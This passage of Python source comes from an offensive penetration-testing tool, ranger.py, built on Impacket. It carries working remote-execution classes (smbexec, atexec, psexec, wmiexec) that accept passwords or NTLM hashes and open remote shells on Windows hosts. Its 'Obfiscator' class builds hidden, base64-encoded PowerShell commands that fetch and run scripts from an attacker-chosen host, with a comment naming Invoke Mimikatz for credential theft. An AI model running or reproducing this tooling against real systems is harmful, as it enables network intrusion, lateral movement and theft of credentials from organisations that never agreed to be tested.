os.unlink(SMBEXEC_SMBSERVER_DIR + '/' + SMBEXEC_OUTPUT_FILENAME) def execute_remote(self, data): command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command += ' & ' + 'del ' + self.__batchFile resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output() def send_data(self, data): self.execute_remote(data) print self.__outputBuffer self.__outputBuffer = '' ''' IMPACKET ATEXEC ''' class ATSVC_EXEC: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\atsvc]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\atsvc]', 445), } def __init__(self, username = '', password = '', domain = '', hashes = None, command = None, proto = None): self.__username = username self.__password = password self.__protocols = ATSVC_EXEC.KNOWN_PROTOCOLS.keys() self.__proto = proto self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__command = command self.output = "" if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def play(self, addr): # Try all requested protocols until one works. entries = [] if "139/SMB" in self.__proto: protodef = (r'ncacn_np:%s[\pipe\atsvc]', 139) port = protodef[1] protocol = self.__proto self.atexec_run(protocol, addr, port, protodef) elif "445/SMB" in self.__proto: protodef = (r'ncacn_np:%s[\pipe\atsvc]', 445) port = protodef[1] protocol = self.__proto self.atexec_run(protocol, addr, port, protodef) else: for protocol in self.__protocols: protodef = ATSVC_EXEC.KNOWN_PROTOCOLS[protocol] port = protodef[1] logging.info("Trying protocol %s..." % protocol) stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: self.doStuff(rpctransport) except Exception, e: logging.error(e) else: # Got a response. No need for further iterations. break def atexec_run(self, protocol, addr, port, protodef): logging.info("Trying protocol %s..." % protocol) stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) try: self.doStuff(rpctransport) except Exception, e: logging.error(e) else: # Got a response. No need for further iterations. sys.exit("[-] Nothing left to process") def return_data(self): return(self.output) def doStuff(self, rpctransport): def output_callback(data): #print data self.output = data dce = rpctransport.get_dce_rpc() dce.set_credentials(*rpctransport.get_credentials()) dce.connect() #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) #dce.set_max_fragment_size(16) dce.bind(atsvc.MSRPC_UUID_ATSVC) at = atsvc.DCERPCAtSvc(dce) tmpFileName = ''.join([random.choice(string.letters) for i in range(8)]) + '.tmp' # Check [MS-TSCH] Section 2.3.4 atInfo = atsvc.AT_INFO() atInfo['JobTime'] = 0 atInfo['DaysOfMonth'] = 0 atInfo['DaysOfWeek'] = 0 atInfo['Flags'] = 0 atInfo['Command'] = ndrutils.NDRUniqueStringW() atInfo['Command']['Data'] = ('%%COMSPEC%% /C %s > %%SYSTEMROOT%%\\Temp\\%s\x00' % (self.__command, tmpFileName)).encode('utf-16le') resp = at.NetrJobAdd(('\\\\%s'% rpctransport.get_dip()),atInfo) jobId = resp['JobID'] #resp = at.NetrJobEnum(rpctransport.get_dip()) # Switching context to TSS dce2 = dce.alter_ctx(atsvc.MSRPC_UUID_TSS) # Now atsvc should use that new context at = atsvc.DCERPCAtSvc(dce2) resp = at.SchRpcRun('\\At%d' % jobId) # On the first run, it takes a while the remote target to start executing the job # so I'm setting this sleep.. I don't like sleeps.. but this is just an example # Best way would be to check the task status before attempting to read the file time.sleep(3) # Switching back to the old ctx_id at = atsvc.DCERPCAtSvc(dce) resp = at.NetrJobDel('\\\\%s'% rpctransport.get_dip(), jobId, jobId) smbConnection = rpctransport.get_smb_connection() while True: try: smbConnection.getFile('ADMIN$', 'Temp\\%s' % tmpFileName, output_callback) break except Exception, e: if str(e).find('SHARING') > 0: time.sleep(3) else: raise smbConnection.deleteFile('ADMIN$', 'Temp\\%s' % tmpFileName) dce.disconnect() ''' IMPACKET PSEXEC ''' class RemComMessage(Structure): structure = ( ('Command','4096s=""'), ('WorkingDir','260s=""'), ('Priority','<L=0x20'), ('ProcessID','<L=0x01'), ('Machine','260s=""'), ('NoWait','<L=0'), ) class RemComResponse(Structure): structure = ( ('ErrorCode','<L=0'), ('ReturnCode','<L=0'), ) RemComSTDOUT = "RemCom_stdout" RemComSTDIN = "RemCom_stdin" RemComSTDERR = "RemCom_stderr" lock = Lock() class PSEXEC: KNOWN_PROTOCOLS = { '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), } def __init__(self, command, path, exeFile, copyFile, protocols = None, username = '', password = '', domain = '', hashes = None, aesKey = None, doKerberos = False): self.__username = username self.__password = password if protocols is None: self.__protocols = PSEXEC.KNOWN_PROTOCOLS.keys() else: self.__protocols = [protocols] self.__command = command self.__path = path self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__exeFile = exeFile self.__copyFile = copyFile self.__doKerberos = doKerberos if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def run(self, addr): for protocol in self.__protocols: protodef = PSEXEC.KNOWN_PROTOCOLS[protocol] port = protodef[1] logging.info("Trying protocol %s...\n" % protocol) stringbinding = protodef[0] % addr rpctransport = transport.DCERPCTransportFactory(stringbinding) rpctransport.set_dport(port) #if hasattr(rpctransport,'preferred_dialect'): # rpctransport.preferred_dialect(SMB_DIALECT) if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) rpctransport.set_kerberos(self.__doKerberos) self.doStuff(rpctransport) def openPipe(self, s, tid, pipe, accessMask): pipeReady = False tries = 50 while pipeReady is False and tries > 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except: tries -= 1 time.sleep(2) pass if tries == 0: logging.critical('Pipe not ready, aborting') raise fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() try: dce.connect() except Exception, e: logging.critical(str(e)) sys.exit(1) global dialect dialect = rpctransport.get_smb_connection().getDialect() try: unInstalled = False s = rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if self.__exeFile is None: installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) else: try: f = open(self.__exeFile) except Exception, e: logging.critical(str(e)) sys.exit(1) installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) installService.install() if self.__exeFile is not None: f.close() # Check if we need to copy a file for execution if self.__copyFile is not None: installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) # And we change the command to be executed to this filename self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command tid = s.connectTree('IPC$') fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f) packet = RemComMessage() pid = os.getpid() packet['Machine'] = ''.join([random.choice(string.letters) for i in range(4)]) if self.__path is not None: packet['WorkingDir'] = self.__path packet['Command'] = self.__command packet['ProcessID'] = pid s.writeNamedPipe(tid, fid_main, str(packet)) # Here we'll store the command we type so we don't print it back ;) # ( I know.. globals are nasty :P ) global LastDataSent LastDataSent = '' # Create the pipes threads stdin_pipe = RemoteStdInPipe(rpctransport,'\%s%s%d' % (RemComSTDIN ,packet['Machine'],packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare() ) stdin_pipe.start() stdout_pipe = RemoteStdOutPipe(rpctransport,'\%s%s%d' % (RemComSTDOUT,packet['Machine'],packet['ProcessID']), smb.FILE_READ_DATA ) stdout_pipe.start() stderr_pipe = RemoteStdErrPipe(rpctransport,'\%s%s%d' % (RemComSTDERR,packet['Machine'],packet['ProcessID']), smb.FILE_READ_DATA ) stderr_pipe.start() # And we stay here till the end ans = s.readNamedPipe(tid,fid_main,8) if len(ans): retCode = RemComResponse(ans) logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % (self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) installService.uninstall() if self.__copyFile is not None: # We copied a file for execution, let's remove it s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) unInstalled = True sys.exit(retCode['ErrorCode']) except SystemExit: raise except: if unInstalled is False: installService.uninstall() if self.__copyFile is not None: s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) sys.stdout.flush() #sys.exit(1) #DEBUG PSEXEC return class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() global dialect #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS) else: self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except Exception, e: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except Exception, e: pass else: try: sys.stderr.write(str(ans)) sys.stderr.flush() except: pass class PsexecRemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.transport = transport self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception, e: logging.critical(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = string.replace(f,'/','\\') logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) self.transferClient.putFile(self.share, pathname, fh.read) fh.close() except Exception, e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print os.getcwd() else: os.chdir(s) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): self.send_data(line+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data) class RemoteStdInPipe(Pipes): def __init__(self, transport, pipe, permisssions, share=None): Pipes.__init__(self, transport, pipe, permisssions, share) def run(self): self.connectPipe() self.shell = PsexecRemoteShell(self.server, self.port, self.credentials, self.tid, self.fid, self.share, self.transport) self.shell.cmdloop() ''' IMPACKET WMIEXEC ''' WMIEXEC_OUTPUT_FILENAME = '__' class WMIEXEC: def __init__(self, command = '', username = '', password = '', domain = '', hashes = None, aesKey = None, share = None, noOutput=False, doKerberos=False): self.__command = command self.__username = username self.__password = password self.__domain = domain self.__lmhash = '' self.__nthash = '' self.__aesKey = aesKey self.__share = share self.__noOutput = noOutput self.__doKerberos = doKerberos self.output = "" if hashes is not None: self.__lmhash, self.__nthash = hashes.split(':') def run(self, addr): if self.__noOutput is False: smbConnection = SMBConnection(addr, addr) if self.__doKerberos is False: smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash) else: smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey) dialect = smbConnection.getDialect() '''DEBUG if dialect == SMB_DIALECT: logging.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: logging.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: logging.info("SMBv2.1 dialect used") else: logging.info("SMBv3.0 dialect used") ''' else: smbConnection = None dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey, oxidResolver = True, doKerberos=self.__doKerberos) iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login) iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface) iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL) iWbemLevel1Login.RemRelease() win32Process,_ = iWbemServices.GetObject('Win32_Process') try: self.shell = WmiexecRemoteShell(self.__share, win32Process, smbConnection) if self.__command != ' ': self.shell.onecmd(self.__command) else: self.shell.cmdloop() except (Exception, KeyboardInterrupt), e: #import traceback #traceback.print_exc() logging.error(str(e)) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() sys.stdout.flush() sys.exit(1) if smbConnection is not None: smbConnection.logoff() dcom.disconnect() def return_data(self): return(self.shell.return_data()) class WmiexecRemoteShell(cmd.Cmd): def __init__(self, share, win32Process, smbConnection): cmd.Cmd.__init__(self) self.__share = share self.__output = '\\' + WMIEXEC_OUTPUT_FILENAME self.__outputBuffer = '' self.__shell = 'cmd.exe /Q /c ' self.__win32Process = win32Process self.__transferClient = smbConnection self.__pwd = 'C:\\' self.__noOutput = False self.intro = '[!] Launching semi-interactive shell - Careful what you execute\n[!] Press help for extra shell commands' # We don't wanna deal with timeouts from now on. if self.__transferClient is not None: self.__transferClient.setTimeout(100000) self.do_cd('\\') else: self.__noOutput = True def do_shell(self, s): os.system(s) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path (dst_path = default current directory) get {file} - downloads pathname to the current local dir ! {cmd} - executes a local shell cmd """ def do_lcd(self, s): if s == '': print os.getcwd() else: os.chdir(s) def do_get(self, src_path): try: import ntpath newPath = ntpath.normpath(ntpath.join(self.__pwd, src_path)) drive, tail = ntpath.splitdrive(newPath) filename = ntpath.basename(tail) fh = open(filename,'wb') logging.info("Downloading %s\\%s" % (drive, tail)) self.__transferClient.getFile(drive[:-1]+'$', tail, fh.write) fh.close() except Exception, e: logging.error(str(e)) os.remove(filename) pass def do_put(self, s): try: params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') dst_path = string.replace(dst_path, '/','\\') import ntpath pathname = ntpath.join(ntpath.join(self.__pwd,dst_path), src_file) drive, tail = ntpath.splitdrive(pathname) logging.info("Uploading %s to %s" % (src_file, pathname)) self.__transferClient.putFile(drive[:-1]+'$', tail, fh.read) fh.close() except Exception, e: logging.critical(str(e)) pass def do_exit(self, s): return True def emptyline(self): return False def do_cd(self, s): self.execute_remote('cd ' + s) if len(self.__outputBuffer.strip('\r\n')) > 0: #print(self.__outputBuffer) self.__outputBuffer = '' else: self.__pwd = ntpath.normpath(ntpath.join(self.__pwd, s)) self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' def default(self, line): # Let's try to guess if the user is trying to change drive if len(line) == 2 and line[1] == ':': # Execute the command and see if the drive is valid self.execute_remote(line) if len(self.__outputBuffer.strip('\r\n')) > 0: # Something went wrong #print(self.__outputBuffer) self.__outputBuffer = '' else: # Drive valid, now we should get the current path self.__pwd = line self.execute_remote('cd ') self.__pwd = self.__outputBuffer.strip('\r\n') self.prompt = self.__pwd + '>' self.__outputBuffer = '' else: if line != '': self.send_data(line) def get_output(self): def output_callback(data): self.__outputBuffer += data if self.__noOutput is True: self.__outputBuffer = '' return while True: try: self.__transferClient.getFile(self.__share, self.__output, output_callback) break except Exception, e: if str(e).find('STATUS_SHARING_VIOLATION') >=0: # Output not finished, let's wait time.sleep(1) pass else: #print str(e) pass self.__transferClient.deleteFile(self.__share, self.__output) def execute_remote(self, data): command = self.__shell + data if self.__noOutput is False: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' obj = self.__win32Process.Create(command, self.__pwd, None) self.get_output() def send_data(self, data): self.execute_remote(data) self.output = self.__outputBuffer #print(self.__outputBuffer) self.__outputBuffer = '' def return_data(self): #print("[*] Output for WIMIEXEC return") #DEBUG #print(self.output) #DEBUG return(self.output) ''' Author: <NAME>, <NAME>, <NAME> Date: July 2015 Name: ranger.py Purpose: To encode commands that execute PowerShell scripts, also provides a wrapper for some of the impacket examples and fixes relevant functionality Copyright (c) 2015, <NAME>, <NAME>, <NAME> All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL CHRISTOPHER DUFFY BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ''' ''' NMAP PARSER ''' class Nmap_parser: def __init__(self, nmap_xml, verbose=0): self.nmap_xml = nmap_xml self.verbose = verbose self.hosts = {} try: self.run() except Exception, e: print("[!] There was an error %s") % (str(e)) sys.exit(1) def run(self): # Parse the nmap xml file and extract hosts and place them in a dictionary # Input: Nmap XML file and verbose flag # Return: Dictionary of hosts [iterated number] = [hostname, address, protocol, port, service name, state] if not self.nmap_xml: sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml)) try: tree = etree.parse(self.nmap_xml) except: sys.exit("[!] Cannot open Nmap XML file: %s \n[-] Ensure that your are passing the correct file and format" % (self.nmap_xml)) hosts={} services=[] hostname_list=[] root = tree.getroot() hostname_node = None if self.verbose > 0: print ("[*] Parsing the Nmap XML file: %s") % (self.nmap_xml) for host in root.iter('host'): hostname = "Unknown hostname" for addresses in host.iter('address'): hwaddress = "No MAC Address ID'd" ipv4 = "No IPv4 Address ID'd" addressv6 = "No IPv6 Address ID'd" temp = addresses.get('addrtype') if "mac" in temp: hwaddress = addresses.get('addr') if self.verbose > 2: print("[*] The host was on the same broadcast domain") if "ipv4" in temp: address = addresses.get('addr') if self.verbose > 2: print("[*] The host had an IPv4 address") if "ipv6" in temp: addressv6 = addresses.get('addr') if self.verbose > 2: print("[*] The host had an IPv6 address") try: hostname_node = host.find('hostnames').find('hostname') except: if self.verbose > 1: print ("[!] No hostname found") if hostname_node is not None: hostname = hostname_node.get('name') else: hostname = "Unknown hostname" if self.verbose > 1: print("[*] The hosts hostname is %s") % (str(hostname_node)) hostname_list.append(hostname) for item in host.iter('port'): state = item.find('state').get('state') #if state.lower() == 'open': service = item.find('service').get('name') protocol = item.get('protocol') port = item.get('portid') services.append([hostname_list, address, protocol, port, service, hwaddress, state]) hostname_list=[] for i in range(0, len(services)): service = services[i] index = len(service) - 1 hostname = str1 = ''.join(service[0]) address = service[1] protocol = service[2] port = service[3] serv_name = service[4] hwaddress = service[5] state = service[6] self.hosts[i] = [hostname, address, protocol, port, serv_name, hwaddress, state] if self.verbose > 2: print ("[+] Adding %s with an IP of %s:%s with the service %s")%(hostname,address,port,serv_name) if self.hosts: if self.verbose > 4: print ("[*] Results from NMAP XML import: ") for key, entry in self.hosts.iteritems(): print("[*] %s") % (str(entry)) if self.verbose > 0: print ("[+] Parsed and imported unique ports %s") % (str(i+1)) else: if self.verbose > 0: print ("[-] No ports were discovered in the NMAP XML file") def hosts_return(self): # A controlled return method # Input: None # Returned: The processed hosts try: return self.hosts except Exception as e: print("[!] There was an error returning the data %s") % (e) ''' TIMEOUT SIGNAL TERMINATION ''' class Timeout(): """Timeout class using ALARM signal.""" class Timeout(Exception): pass def __init__(self, sec): self.sec = sec def __enter__(self): signal.signal(signal.SIGALRM, self.raise_timeout) signal.alarm(self.sec) def __exit__(self, *args): signal.alarm(0) # disable alarm def raise_timeout(self, *args): raise Timeout.Timeout() class TargetConverter: def __init__(self, target): self.target = target self.cidr_noted = "" self.range_value1 = "" self.range_value2 = "" self.ip_list = [] self.target_list = [] try: self.run() except Exception, e: print("[!] There was an error %s") % (str(e)) sys.exit(1) def run(self): range_true = re.search(r'-',self.target) if "-" in self.target: range_value1, range_value2 = self.target.split('-') if len(range_value2) > 3: self.range_value1 = range_value1 self.range_value2 = range_value2 self.ip_list.extend(self.range_to_list()) else: self.range_value1 = range_value1 octet1, octet2, octet3, octet4 = self.range_value1.split('.') self.range_value2 = octet1 + "." + octet2 + "." + octet3 + "." + range_value2 self.ip_list.extend(self.range_to_list()) elif "/" in self.target: self.cidr_noted = self.target self.ip_list.extend(self.cidr_to_list()) else: self.ip_list.append(self.target) def cidr_to_list(self): ip_list = [] for ip in netaddr.IPNetwork(self.cidr_noted).iter_hosts(): ip_list.append(ip) return(ip_list) def range_to_list(self): ip_list = [] ip_list = list(netaddr.iter_iprange(self.range_value1, self.range_value2)) return(ip_list) def return_targets(self): try: for ip in self.ip_list: self.target_list.append(str(ip)) return(self.target_list) except Exception, e: print("[!] There was an error %s") % (str(e)) sys.exit(1) class NetviewDetails: def __init__(self, user = None, users = None, target = None, targets = None, noloop = True, delay = '10', max_connections = '1000', domainController = None, debug = False): self.user = user self.users = users self.target = target self.targets = targets self.noloop = noloop self.delay = delay self.max_connections = max_connections self.domainController = domainController self.debug = debug def user(self): return(self.user) def users(self): return(self.users) def target(self): return(self.target) def targets(self): return(self.targets) def noloop(self): return(self.noloop) def delay(self): return(self.delay) def max_connections(self): return(self.max_connections) def domainController(self): return(self.domainController) def debug(self): return(self.debug) class Obfiscator: def __init__(self, src_ip, src_port, payload, function, argument, execution, methods, domain_group, delivery, share_name, domain_name, local_group, dst_ip="", dst_port=""): self.src_ip = src_ip self.dst_ip = dst_ip self.dst_port = dst_port self.src_port = src_port self.payload = payload self.function = function self.argument = argument self.execution = execution self.methods = methods self.domain_group = domain_group self.loacl_group = local_group self.command = "" self.unprotected_command = "" self.delivery = delivery self.share_name = share_name self.domain_name = domain_name try: self.run() except Exception, e: print("[!] There was an error %s") % (str(e)) sys.exit(1) def run(self): if "invoker" in self.execution: # Direct invoker self.invoker() elif "download" in self.execution: # Direct downloader self.downloader() elif "executor" in self.execution: # Direct PowerShell execution self.executor() elif "domain_group" in self.execution: # Extract Group Members self.domain_group_members() elif "local_group" in self.execution: # Extract Local Group Memebers self.local_group_members() def packager(self, cleartext): encoded_utf = cleartext.encode('utf-16-le') encoded_base64 = base64.b64encode(encoded_utf) command = "powershell.exe -nop -w hidden -exec bypass -enc %s" % (encoded_base64) return(command) def clearer(self, cleartext): command = 'powershell.exe -nop -w hidden -exec bypass "' + cleartext + '"' return(command) def return_command(self): try: return(self.command, self.unprotected_command) except Exception, e: print("[!] There was an error %s") % (str(e)) sys.exit(1) def invoker(self): # Invoke Mimikatz Directly if self.delivery == "web": text = "IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/%s'); %s %s" % (str(self.src_ip), str(self.src_port), str(self.payload), str(self.function), str(self.argument)) if self.delivery == "smb": text = "IEX (New-Object Net.WebClient).DownloadString('\\\%s\%s\%s'); %s %s" % (str(self.src_ip), str(self.share_name), str(self.payload), str(self.function), str(self.argument)) self.command = self.packager(text) self.unprotected_command = self.clearer(text) def executor(self): # Invoke a PowerShell Script Directly if self.delivery == "web": if self.argument: text = "IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/%s'); %s %s" % (str(self.src_ip), str(self.src_port), str(self.payload), str(self.function), str(self.argument)) else: text = "IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/%s'); %s" % (str(self.src_ip), str(self.src_port), str(self.payload), str(self.function)) elif self.delivery == "smb": if self.argument: text = "IEX (New-Object Net.WebClient).DownloadString('\\\%s\%s\%s'); %s %s" % (str(self.src_ip), str(self.share_name), str(self.payload), str(self.function), str(self.argument)) else: text = "IEX (New-Object Net.WebClient).DownloadString('\\\%s\%s\%s'); %s" % (str(self.src_ip), str(self.share_name), str(self.payload), str(self.function)) self.command = self.packager(text) self.unprotected_command = self.clearer(text) def downloader(self): # Download String Directly text = "IEX ((new-object net.webclient).downloadstring('http://%s:%s/'))" % (str(self.src_ip), str(self.src_port)) self.command = self.packager(text) self.unprotected_command = self.clearer(text) def domain_group_members(self): # Group Membership if self.delivery == "web": if self.argument: text = "IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/%s'); %s %s" % (str(self.src_ip), str(self.src_port), str(self.payload), str(self.function), str(self.argument)) else: text = "IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/%s'); %s" % (str(self.src_ip), str(self.src_port), str(self.payload), str(self.function)) elif self.delivery == "smb": if self.argument: text = "IEX (New-Object Net.WebClient).DownloadString('\\\%s\%s\%s'); %s %s" % (str(self.src_ip), str(self.share_name), str(self.payload), str(self.function), str(self.argument)) else: text = "IEX (New-Object Net.WebClient).DownloadString('\\\%s\%s\%s'); %s" % (str(self.src_ip), str(self.share_name), str(self.payload), str(self.function)) self.command = self.packager(text) self.unprotected_command = self.clearer(text) def local_group_members(self): # Local Group Membership if self.delivery == "web": if self.argument: text = "IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/%s'); %s %s" % (str(self.src_ip), str(self.src_port), str(self.payload), str(self.function), str(self.argument)) else: text = "IEX (New-Object Net.WebClient).DownloadString('http://%s:%s/%s'); %s" % (str(self.src_ip), str(self.src_port), str(self.payload), str(self.function)) elif self.delivery == "smb": if self.argument: text = "IEX (New-Object Net.WebClient).DownloadString('\\\%s\%s\%s'); %s %s" % (str(self.src_ip), str(self.share_name), str(self.payload), str(self.function), str(self.argument)) else: text = "IEX (New-Object Net.WebClient).DownloadString('\\\%s\%s\%s'); %s" % (str(self.src_ip), str(self.share_name), str(self.payload), str(self.function)) self.command = self.packager(text) self.unprotected_command = self.clearer(text) ''' LOCAL INTERFACE DETECTION FUNCTIONS ''' def get_interfaces(): interfaces = netifaces.interfaces() return interfaces def get_gateways(): gateway_dict = {} gws = netifaces.gateways() for gw in gws: try: gateway_iface = gws[gw][netifaces.AF_INET] gateway_ip, iface = gateway_iface[0], gateway_iface[1] gw_list =[gateway_ip, iface] gateway_dict[gw]=gw_list except: pass return gateway_dict def get_addresses(interface): addrs = 